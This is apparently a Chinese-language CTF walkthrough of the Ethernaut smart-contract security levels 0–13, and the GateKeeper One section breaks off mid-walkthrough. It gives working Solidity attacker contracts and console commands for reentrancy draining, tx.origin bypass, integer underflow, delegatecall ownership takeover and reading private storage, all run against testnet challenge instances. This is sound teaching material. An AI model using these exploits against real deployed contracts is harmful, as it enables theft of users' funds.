[区块链安全-Ethernaut]区块链智能合约安全实战-已完结

准备

随着区块链技术的逐渐推广，区块链安全也逐渐成为研究的热点。在其中，又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。

• 首先，应确保安装Metamask，如果可以使用Google Extension可以直接安装，否则可以使用FireFox安装
• 新建账号，并连接到RinkeBy Test Network（需要在Setting - Advanced里启用Show test networks，并在网络中进行切换）
  
• 访问Faucet并获取测试币，每天都有0.1Eth的额度

现在就可以开始Ethernaut的探索之旅了！

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0. Hello Ethernaut

本节比较简单，所以我将更关注整体过程，介绍Ethernaut的实例创建等等，自己也梳理一下，所以会更详细一些。

准备工作

进入Hello Ethernaut，会自动提示连接Metamask钱包，连接后，示意图如下：

按F12打开开发者工具，在console界面就可以进行智能合约的交互。

创建实例并分析

单击 Get New Instance 以创建新的合约实例。

可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33交互以创建实例。在辅导参数中，调用0xdfc86b17方法，附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966作为参数。实际上，所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33，附带的地址则是用来表明所处的关卡，如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966。

实例已经成功生成，主合约交易截图如下：

进入交易详情，查看内部交易，发现合约之间产生了调用。第一笔是由主合约调用关卡合约，第二笔是由关卡合约创建合约实例，其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822。

回到页面来看，可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

下面我们将进行合约的交互以完成本关卡。

合约交互

此时，在console界面可以通过player和contract分别查看用户当前账户和被创建合约实例。player代表用户钱包账户地址，而contract则包含合约实例abi、address、以及方法信息。

按照提示要求输入await contract.info() ,得到结果'You will find what you need in info1().'。

输入await contract.info1(),得到结果'Try info2(), but with "hello" as a parameter.'。

输入await contract.info2('hello'),得到结果'The property infoNum holds the number of the next info method to call.。

输入await contract.infoNum(),得到infoNum参数值为42(Word中的首位)。这就是下一步要调用的函数(info42)。

输入await contract.info42(),得到结果'theMethodName is the name of the next method.，即下一步应当调用theMethodName。

输入await contract.theMethodName(),得到结果'The method name is method7123949.。

输入await contract.method7123949(),得到结果'If you know the password, submit it to authenticate().。

所以通过password()可以获取密码ethernaut0，并将其提交到authenticate(string)。

注意当在进行authenticate()函数时，Metamask会弹出交易确认，这是因为该函数改变了合约内部的状态（以实现对关卡成功的检查工作），而其他先前调用的函数却没有（为View）。

此时，本关卡已经完成。可以选择Sumbit Instance进行提交，同样要签名完成交易

在此之后，Console页面弹出成功提示，本关卡完成！

总结

本题比较简单，更多的是要熟悉ethernaut的操作和原理。

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1. Fallback

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E。
本关卡要求获得合约的所有权并清空余额。
观察其源代码，找到合约所有权变更的入口。找到两个，分别是contribute()及receive()，其代码如下：

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

按照contribute()的逻辑，当用户随调用发送小于0.001 ether，其总贡献额超过了owner，即可获得合约的所有权。这个过程看似简单，但是通过以下constructor()函数可以看出，在创建时，owner的创建额为1000 ether，所以这种方法不是很实用。

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

再考虑receive()函数，根据其逻辑，当用户发送任意ether，且在此之前已有贡献（已调用过contribute()函数），即可获得合约所有权。receive()类似于fallback()，当用户发送代币但没有指定函数对应时(如sendTransaction())，会调用该方法。
在获取所有权后，再调用withdraw函数既可以清空合约余额。

合约交互

使用contract命令，查看合约abi及对外函数情况。

调用await contract.contribute({value:1})，向合约发送1单位Wei。

此时，调用await contract.getContribution()查看用户贡献，发现贡献度为1，满足调用receiver()默认函数的最低要求。

使用await contract.sendTransaction({value:1})构造转账交易发送给合约，

调用await contract.owner() === player 确认合约所有者已经变更。

最后调用await contract.withdraw()取出余额。

提交实例，显示关卡成功！

总结

本关卡也算比较简单，主要需要分析代码内部的逻辑，理解fallback()及receive的原理。

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2. Fallout

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2。
本关卡要求获取合约的所有权。首先使用contract命令查看合约的abi及函数信息。

查看合约源码，寻找可能的突破点。结果发现Fal1out()函数即为突破口。其代码如下：

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

对于Solidity来说，其在0.4.22前的编译器版本支持同合约名的构造函数，如：

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

而在0.4.22起只支持利用constructor()构建，如：

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

但在本关卡中，很明显合约创建者出错，将Fallout写成了Fal1out。所以我们直接调用函数Fal1out即可获得所有权。

合约交互

使用await contract.owner()获取当前合约所有者为0x0地址。

调用await contract.Fal1out({value:1})实现所有权的获取。

调用await contract.owner() === player确认已获取合约所有权。

提交实例，本关卡完成!

总结

本关卡比较简单，主要考察对于合约细节和构造函数的理解和把握。

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3. Coin Flip

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54。
本关卡要求连续10次猜对硬币的正反面。

我们首先对代码展开观察，其代码示意如下图所示：

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

可知，硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少，就难以提前预知硬币的正反面。且同时，合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念，正如我们在Hello Ethernaut关卡中分析的那样，合约也可以调用合约，具体操作则作为Internal Txns，但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约，提前预测硬币正反面，并向关卡合约发出请求。

下面就到了合约间调用的内容了，其主要有几种：

• 使用被调用合约实例（已知被调用合约代码）
• 使用被调用合约接口实例（仅知道被调用合约接口）
• 使用call命令调用合约

我们将编写自己的智能合约，从以上三个思路入手，实现合约间调用。

攻击合约编写

利用Remix在线编辑器编写合约，代码如下所示，其中CoinFlipAttack就是我们的攻击合约，而CoinFlip和CoinFlipInterface都是为目标合约提供abi接口而定义的：

pragma solidity ^0.6.0;

// 由于使用在线版本remix，所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例（已知被调用合约代码）
contract CoinFlip {
// 复制本关卡代码，此处省略....
}

// 用于 使用被调用合约接口实例（仅知道被调用合约接口）
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时，合约在内部先自己做一次运算，得到结果，发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例（已知被调用合约代码）
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例（仅知道被调用合约接口）
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

合约交互

此时，我们选择0.6.12+commit.27d51765.js的编译器，通过编译，如下图所示：

在部署页面，选择Injected Web3，连接Metamask钱包，调用攻击合约的构造函数，其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54。

小狐狸签名，合约部署完成，攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF，显示如下调用接口，我们接下来将分别从以下三种方式展开攻击：

• 使用被调用合约实例（attackByIns）
  在调用前，我们有连续猜中次数为3，如下图所示：
  
  点击attackByIns，弹出Metamask确认弹窗，确认，当前区块已成功挖出。

而此时连续猜中次数变为4，该方法验证成功！

• 使用被调用合约接口实例（attackByInterface）

此时，连续猜中次数为4，点击attackByInterface，弹出Metamask确认弹窗，确认，当前区块已成功挖出。

而此时连续猜中次数变为5，该方法验证成功！

• 使用call命令调用合约(attackByCall)
  此时，连续猜中次数为5，点击attackByCall，弹出Metamask确认弹窗，确认，当前区块已成功挖出。
  
  而此时连续猜中次数变为6，该方法验证成功！
  

无论是哪种方法都可以实现同区块内的合约调用，但一定要注意gas limit的设置，如果不够会爆出out of gas或者reverted的错误，可以在小狐狸确认界面进行设置。

我们接下来可以使用任意调用再做4次直至到10，最终提交！
提交实例，本关卡完成!

总结

本关卡主要考察solidity的编写及合约间的调用。我在做的时候遇到了很多gas相关的问题，以前不是很注意，现在要非常注意了！

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4. Telephone

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221。
分析其合约源码，要求变更合约所有权，其突破口在于changeOwner函数，函数代码如下所示：

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

其先决条件在于tx.origin与msg.sender不相同，那我们应对此展开研究。

• tx.origin会遍历整个调用栈并返回最初发送调用（或交易）的帐户的地址。
• msg.sender为直接调用智能合约功能的帐户或智能合约的地址

两者区别在于如果同一笔交易内有多笔调用，tx.origin保持不变，而msg.sender将会发生改变。我们将以此为根据，编写智能合约，将该合约作为中间人展开攻击。

攻击合约编写

同样在remix中编写合约，合约代码如下，与上一关卡类似，通过interface接口创建合约接口实例，我们则通过attack函数执行攻击：

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

合约交互

初始时，合约所有权尚未得到。

我们在remix上部署合约，参数附带0xba9405B2d9D1B92032740a67B91690a70B769221以初始化被攻击合约接口实例tele。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811。

在remix上调用attack函数，参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b即钱包地址。

此时，再检查所有权发现已发生变更。

提交实例，本关卡已成功通过。

总结

tx.origin这个有很多合约在用，但如果使用不当，会引起很严重的后果。
比如说，我设置了合约，引起被攻击合约主动发起调用，在接受函数里展开攻击，就可以绕过tx.origin相关的安全设置。

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5. Token

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3。
由合约创建过程来看，应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE创建目标合约，并向player转账20token。

分析其合约源码，要求增加已有的代币数量，应该从transfer函数入手，函数代码如下：

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

这里代码里犯了一个错误，那就是对于uint运算没有做溢出检查，举例来说对于8位无符号整型，会有0-1=255及255+1=0的错误产生。我们就可以利用这一漏洞，实现代币的无限增发。

合约交互

调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)函数，注意此处不能给自身转账，因为会先出现下溢出，再出现上溢出，我们直接转账给关卡合约21个token，此时20-21发生了下溢出，达到最大值。此时，可以看到，代币余额发生了增长。

提交实例，本关卡通过！

总结

这就是为什么我们需要Safemath。写合约时一定要注意上溢出和下溢出！

6. Delegation

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d。
本关卡要求**获取合约Delegation**的所有权。

对合约展开分析，源代码部分提供了两部分合约，一个是Delegate，另一个则是Delegation。两合约间通过Delegation的fallback函数，基于delegatecall方法展开调用。

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

对于Delegation合约来说，其内部找不到更换所有权的代码，我们就可以换个思路，看看Delegate合约里有没有。分析合约可以看到，pwn()可以实现。

  function pwn() public {
    owner = msg.sender;
  }

这时候可能有人会感到疑惑，Delegate和Delegation是两个不同的合约，如果我们仅去修改Delegate里的owner，会对跨合约调用它的Delegation产生影响吗？

在 Solidity 中，call 函数簇可以实现跨合约的函数调用功能，其中包括 call、delegatecall 和callcode，我们下面就要来分析以下三种跨合约调用方法的区别（以用户A通过B合约调用C合约为例）：

• call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者B，执行环境为被调用者的运行环境C。
• delegatecall:调用后内置变量 msg 的值A不会修改为调用者，但执行环境为调用者的运行环境B
• callcode:调用后内置变量 msg 的值会修改为调用者B，但执行环境为调用者的运行环境B

所以当时用delegatecall时，尽管我们是调用Delegate合约中的函数，但实际上，我们是在Delegation环境里去做得，可以理解为将代码“引入”了。因此，我们可以实现合约权的转移。

合约交互

初始化时，有合约所有权并不为player。

使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})来发起调用，结果失败，仔细一看是因为fallback没有payable修饰。这是一开始的理解错误，观察不够仔细。

去掉value，重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})。此时合约所有权已完成转移。解释一下，这里data是为了调用pwn函数，使用sha3编码并取了前4个字节，此处因为没有入参，所以作了简化。

提交合约实例，本关卡成功！

总结

合约间的调用需要非常谨慎，delegate原来是为了编程弹性，但如果处理不当，会给安全带来很大问题！

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7. Force

不好意思，最近工作上略有些忙，因为工作涉及到对外网络安全贸易，所以最近一直忙着培训。但这块肯定会持续完成。

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532。
本关卡要求给合约Force转入代币，但是究其合约，似乎并没有payable函数。那么我们该怎么做呢？

在实际中，如果要给智能合约转账，有几种常见方法。

• Transfer: Throws exception when an error occurs, and the code will not execute afterward
• Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
• call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.

三种方式存在一个前提，即接受合约必须能够接受转账，即存在payable函数，否则将会回退。

那么有没有其他方法呢？

However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased

也就是说，我们可以通过合约的自毁函数，将合约剩下的以太发送给指定地址，此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约，完成自毁，即可实现攻击。

合约交互

合约本身并不提供余额查询，所以我们前往链上查询。此时合约余额为0。

我们通过remix构建合约，其中写入自毁函数。

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

新建合约，部署到Rinkeby测试网，合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

以被攻击合约为变量，调用destruct函数。

此时可以看到，被攻击合约链上地址余额发生变化，从0变为了50。

提交实例，本关卡成功通过！

总结

selfdestruct不会触发payable检查，如果没有很好的检查，很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance的操纵，我们应使用balance变量来接受特定业务逻辑的余额。

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8. Vault

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E。

对合约展开分析，本关卡的要求是解锁，而解锁的唯一办法是输入正确的password。本关卡对password的定义是私有变量，那时不时就看不到了呢？

答案是否定的，一切变量都存储在链上，我们自然可以看到。现在问题就是，在哪看，用什么看？

第一个回答是用什么看？

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])，使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下：

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

一般来说，我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);，后面两个参数一般都是可选的。

第二个回答是怎么看?

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置，存放在一个容量为 2^256 的超级数组中，数组中每个元素称为插槽（slot），其初始值为 0。虽然数组容量的上限很高，但实际上存储是稀疏的，只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

每个插槽32字节，对于值类型，其存放是连续的，满足以下规律。

• 存储插槽的第一项会以低位对齐（即右对齐）的方式储存
• 基本类型仅使用存储它们所需的字节
• 如果存储插槽中的剩余空间不足以储存一个基本类型，那么它会被移入下一个存储插槽
• 结构和数组数据总是会占用一整个新插槽（但结构或数组中的各项，都会以这些规则进行打包）

例如以下合约

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

其存储布局如下：

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

回到本题，很明显存储摆放应该是

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

所以我们可以通过slot1获取password信息。

合约交互

输入await web3.eth.getStorageAt(contract.address,1)获取byte32 password。

此时，合约仍然上锁（可通过await contract.locked()）查询。

调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')实现对合约的解锁。

此时，合约已经解锁。

提交实例，本关卡成功通过。

总结

区块链上没有秘密。

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9 King

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2。对其合约展开分析，其合约功能在于以下代码段：

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

当接收到外来转账时，如果发送金额大于当前奖金，即将发送金额发送给当前国王，更新奖金，而发送者将成为新的国王。
本关卡目的在于打破这一循环。

打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。

1. 用户发送指定金额的以太。
2. 合约将以太转发给当前国王
3. 更新国王及奖金。

我们只要作为国王，拒不接受合约转来的奖金，整个过程即可回退。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

在接受函数，我们主动回退，即可防止合约继续执行。

合约交互

首先我们先看看当前我们需传入多少。在目标合约详情页面，可以看到，创建合约时传入0.001Ether。

所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)后，传入2Finney，调用攻击合约attack方法。

此时我们看看国王，使用await contract._king()，可以看出，国王已经变成攻击合约。

提交合约，关卡成功！

查看链上数据可知，在执行过程中产生了回滚(revert)。

总结

攻击时可以从合约执行的多个角度入手。

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10 Re-entrancy

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e。对其合约展开分析，其合约提取函数如下：

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

这个合约的问题在哪里呢？那就是他弄错了记账、转账的顺序（先转账，再记账）。一般来说，我们去银行取钱，银行都会先在自己的账本上记一笔，然后才会把钱取出来给我们。虽然说，我们也不可能同时出现在两个地方取钱，但在区块链中，有没有可能呢？

答案是有的，如果我们在接受合约转账的同时又发起新的取钱操作，那么很明显，如果是连续的调用过程，在未修改账本的情况下，合约仍会给用户转账？

那么，怎样做才能保证实现连续的调用呢？那就是使用合约去与被攻击合约进行交互。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}

我们使用ReentranceImpl标记目标合约，使用requiredValue来表示合约在目标合约中存的钱。同时，我们又定义fallback函数，每当受到资金时，就会调用withdraw函数，从目标合约中提取余额。让我们进行合约交互。

合约交互

先查看合约本身有多少以太，在浏览器上查看，发现总共有0.001以太。

所以我们在部署合约时传入500000000000000 Wei，这样能反复调用三次，以确认合约的攻击效果，同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e，部署后，攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287。

首先我们查询合约本身余额，为500000000000000 Wei，其次我们查询目标合约余额，为1000000000000000 Wei。


我们利用donate函数向目标合约存入余额。

此时，目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击，即使用withdraw函数提取500000000000000 Wei。发起交易时，应在小狐狸界面修改gas。等待交易完成，此时有合约中实现了三笔转账。

而目标合约余额已经归零，攻击完成！

提交实例，本关卡完成！

最后别忘了通过合约自毁(destruct)收回余额哦～

总结

合约的设计应当充分谨慎，任意一点疏忽都会带来很大影响

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11 Elevator

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE。对其合约展开分析，其合约核心代码如下:

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

由于先判断isLastFloor，不满足后才进入if结构体，并再次获取isLastFloor。该合约于是想当然认为，第二次获取的结果依然不满足，是这样吗？

由于对外调用带来的影响，在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

其核心之处在于，每次调用isLastFloor函数都会内部调用flip函数完成变量isTop的翻转，因此连续两次获取的结果是不一样的。

合约交互

输入await contract.top()查看是否为顶层，结果为false。

部署合约，传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE，构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a。

调用attack()函数，发起对目标合约的攻击。

此时，再次查看，输入await contract.top()查看是否为顶层，结果为true。

提交实例，本关卡成功！

总结

合约是难以相信的，即使合约编写的再好，无法控制他人的行为，也毫无用处。

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12 Privacy

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf。对其合约展开分析，其合约核心代码如下:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

此时，应当输入data[2]，而这又该怎么获得呢？很明显，我们还是要从存储机制入手。

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

这是变量定义，对应的，我们有槽存储分布如下：

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

所以，data[2]存储在slot 5里。

合约交互

输入await web3.eth.getStorageAt(contract.address,5)得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'。

此时bytes16与bytes32之间存在转换。要注意，以太坊有两种存储方式，大端（strings & bytes，从左开始）及小端（其他类型，从大开始）。因此，从32到16转换时，需要砍掉右边的16个字节。

我们该怎么做呢？即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)。

之后，直接提交结果，准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')。

此时，合约已经完成解锁。

提交实例，本关卡成功！

总结

还是那句话，区块链上没有秘密。

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13 GateKeeper One

大家好 我又回来了。最近真的很忙，我抓紧8月份将这一系列完成，然后进行下一步内容的分享。

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284。本关卡的目的是满足gateOne、gateTwo和gateThree，成功实现entrant的修改。

那么我们需要怎么做呢？首先看一看modifier分别提出了什么要求。看看能否满足和修改？

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

分析gateOne，可以看出需要msg.sender != tx.origin，这表明我们需要一个合约作为中转。

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

分析gateTwo，这表明在执行到该步骤时，需要剩下的gas必须为8191的倍数，这需要我们对gas作出设定。

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

分析gateThree，这表明需要输入特殊的bytes8数据，保证其1-16位为tx.origin的数据且17-32位为0（uint32(uint64(_gateKey)) == uint16(tx.origin),），33-64位不全为0（uint32(uint64(_gateKey)) != uint64(_gateKey)）。

所以我们可以整理思路，编写智能合约了。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

这里主要看为什么能够解决gateThree的需求。当获取输入的时候，会进行bytes8(uint64(tx.origin) & offset)运算。

• address类型长度为160位，20字节，40个十六进制
• uint64(tx.origin)对tx.origin进行了截取，选取后64位，8字节，16十六进制。
• offset类型为uint64，默认值为0xFFFFFFFF0000FFFF，最后的FFFF保证其最后16位不发生改变，中间的0000保证17-33位为0,剩下的FFFFFFFF则保证34-64位不全为0（只要tx.origin不是这样就好）。
• 通过&运算完成变换，以bytes8存储在changedValue变量，用以实际攻击。

合约交互

部署合约，传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284，构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d。

点击getAddress，计算changedValue。此时，点击check1、check2、check3来查看gateThree的要求是否满足。由截图可见，均满足。

由于gateOne已经自动满足了，所以我们可以直接通过调用来调试实际的gas了。
点击attack发起进攻，由于是跨合约调用，所以我们先将Gas Limit调大一些（实际远远不用这么大），如图所示。

此时，我们进入测试网Explorer查看交易详细信息，不出意外，交易将会被回滚。这是因为当前的gas没有满足要求。

点击右上角，选择Geth Debug Trace来看详细的编译过程。

